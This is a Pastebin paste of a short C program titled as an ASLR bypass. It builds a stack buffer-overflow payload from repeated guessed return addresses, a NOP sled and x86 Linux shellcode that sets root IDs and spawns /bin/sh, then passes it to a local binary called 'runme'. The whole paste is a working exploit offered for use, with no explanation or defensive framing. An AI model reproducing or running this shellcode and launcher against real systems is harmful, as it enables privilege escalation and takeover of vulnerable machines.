Guest User

ASLR Bypass + Shellcode execution

a guest
Jan 24th, 2014
1,064
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.77 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <string.h>
  4.  
  5. char shellcode[]=
  6. "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  7. "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  8. "\xe1\xcd\x80"; // Shellcode i80
  9. int main(int argc, char *argv[]) {
  10.    unsigned int i, ret, offset;
  11.    char buffer[1000];
  12.    printf("i is at %p\n", &i);
  13.    if(argc > 1) // Set offset.
  14.       offset = atoi(argv[1]);
  15.    ret = (unsigned int) &i - offset + 200; // Set return address.
  16.    printf("ret addr is %p\n", ret);
  17.  
  18. for(i=0; i < 90; i+=4) // Return address
  19.      *((unsigned int *)(buffer+i)) = ret;
  20.   memset(buffer+84, 0x90, 900); // Build NOP sled.
  21.   memcpy(buffer+900, shellcode, sizeof(shellcode));
  22.   execl("./runme", "runme", buffer,  NULL);
  23. }
Advertisement
Add Comment
Please, Sign In to add comment